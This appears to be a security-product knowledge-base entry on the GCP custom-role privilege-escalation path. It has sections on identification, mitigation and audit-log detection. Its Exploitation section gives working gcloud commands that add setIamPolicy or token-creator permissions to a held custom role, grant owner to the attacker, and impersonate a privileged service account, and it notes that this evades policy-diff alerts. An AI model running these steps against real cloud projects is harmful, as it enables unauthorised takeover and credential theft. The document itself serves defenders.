Summary
| Forestall ACL Alias | GCP_MODIFY_CUSTOM_ROLES |
| GCP Alias | IAM & Hierarchy Control |
| Affected Object Types | Organizations, Folders, Projects |
| Exploitation Certainty | Certain |
| Granting Roles | roles/owner, roles/iam.roleAdmin |
Description
GCP_MODIFY_CUSTOM_ROLES indicates that an identity holds iam.roles.update on a GCP project or organization, granting the ability to create and modify custom IAM roles. This is a particularly stealthy privilege escalation path: instead of creating new IAM bindings (which are visible in policy diffs), an attacker can silently add dangerous permissions to a custom role that is already bound to their identity.
If the attacker’s identity already holds a custom role binding, modifying that role to include resourcemanager.projects.setIamPolicy or iam.serviceAccounts.getAccessToken escalates privileges without any change to the IAM policy bindings — the escalation is not visible in SetIamPolicy audit logs.
Key abuse scenarios:
- Add
resourcemanager.projects.setIamPolicyto a custom role the attacker already holds → instant project-level IAM takeover. - Add
iam.serviceAccounts.getAccessToken→ directly impersonate any SA in the project. - Add
iam.serviceAccounts.actAs+compute.instances.create→ create VMs attached to privileged SAs.
Identification
gcloud CLI
# Find who has iam.roleAdmin at project levelPROJECT_ID="my-project"gcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq '.bindings[] | select(.role | test("owner|iam.roleAdmin")) | {role: .role, members: .members}'
# Find who has iam.roleAdmin at org levelORG_ID=$(gcloud organizations list --format="value(name)" | head -1)gcloud organizations get-iam-policy $ORG_ID --format=json | \ jq '.bindings[] | select(.role | test("owner|iam.roleAdmin")) | {role: .role, members: .members}'
# List all custom roles in a project and their permissionsgcloud iam roles list --project=$PROJECT_ID --format=json | \ jq '.[] | {name: .name, title: .title, permissions: .includedPermissions}'GCP Console
- Open GCP Console → IAM & Admin → Roles → Custom tab.
- Click each custom role and review Included Permissions for dangerous entries.
- Check IAM & Admin → IAM for principals with
IAM Role AdminorOwner.
Exploitation
gcloud CLI
# Identify which custom role the attacker's identity already holdsPROJECT_ID="target-project"gcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq --arg user "user:$ATTACKER_EMAIL" '.bindings[] | select(.members[] | contains($user))'
# Add setIamPolicy to the custom role the attacker already holdsROLE_ID="customEditorRole"gcloud iam roles update $ROLE_ID --project=$PROJECT_ID \ --add-permissions=resourcemanager.projects.setIamPolicy
# Now escalate: grant full owner access to the attacker's identitygcloud projects add-iam-policy-binding $PROJECT_ID \ --member="user:$ATTACKER_EMAIL" \ --role="roles/owner"Alternatively, add token creator permission for direct SA impersonation:
gcloud iam roles update $ROLE_ID --project=$PROJECT_ID \ --add-permissions=iam.serviceAccounts.getAccessToken
TARGET_SA="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"gcloud auth print-access-token --impersonate-service-account=$TARGET_SACompound path: GCP_MODIFY_CUSTOM_ROLES → add setIamPolicy to a role already bound to the attacker → GCP_SET_PROJECT_IAMPOLICY → full project takeover with no new IAM binding visible in policy diff logs.
Mitigation
- Restrict
roles/iam.roleAdminto dedicated automation accounts; never assign to human users in production. - Separate role definition from role assignment — use different principals for
iam.roles.updateandiam.bindings.update. - Audit custom role permission changes with the same urgency as IAM policy changes —
UpdateRoledoes not appear in IAM policy diff alerts. - Use
constraints/iam.allowedPolicyMemberDomainsto limit who can be added to bindings even if a role is escalated.
Detection
| Log Type | Method | Key Fields |
|---|---|---|
| Admin Activity | google.iam.admin.v1.UpdateRole |
resource.type=iam_role, permission additions in request |
| Admin Activity | google.iam.admin.v1.CreateRole |
New custom role created with dangerous permissions |
PROJECT_ID="my-project"gcloud logging read \ 'protoPayload.methodName=("google.iam.admin.v1.UpdateRole" OR "google.iam.admin.v1.CreateRole")' \ --project=$PROJECT_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"Alert on:
- Any
UpdateRolecall adding permissions containingsetIamPolicy,actAs, orgetAccessToken. - New custom roles created with dangerous permission combinations.
- Role updates by identities outside of a known infrastructure automation pipeline.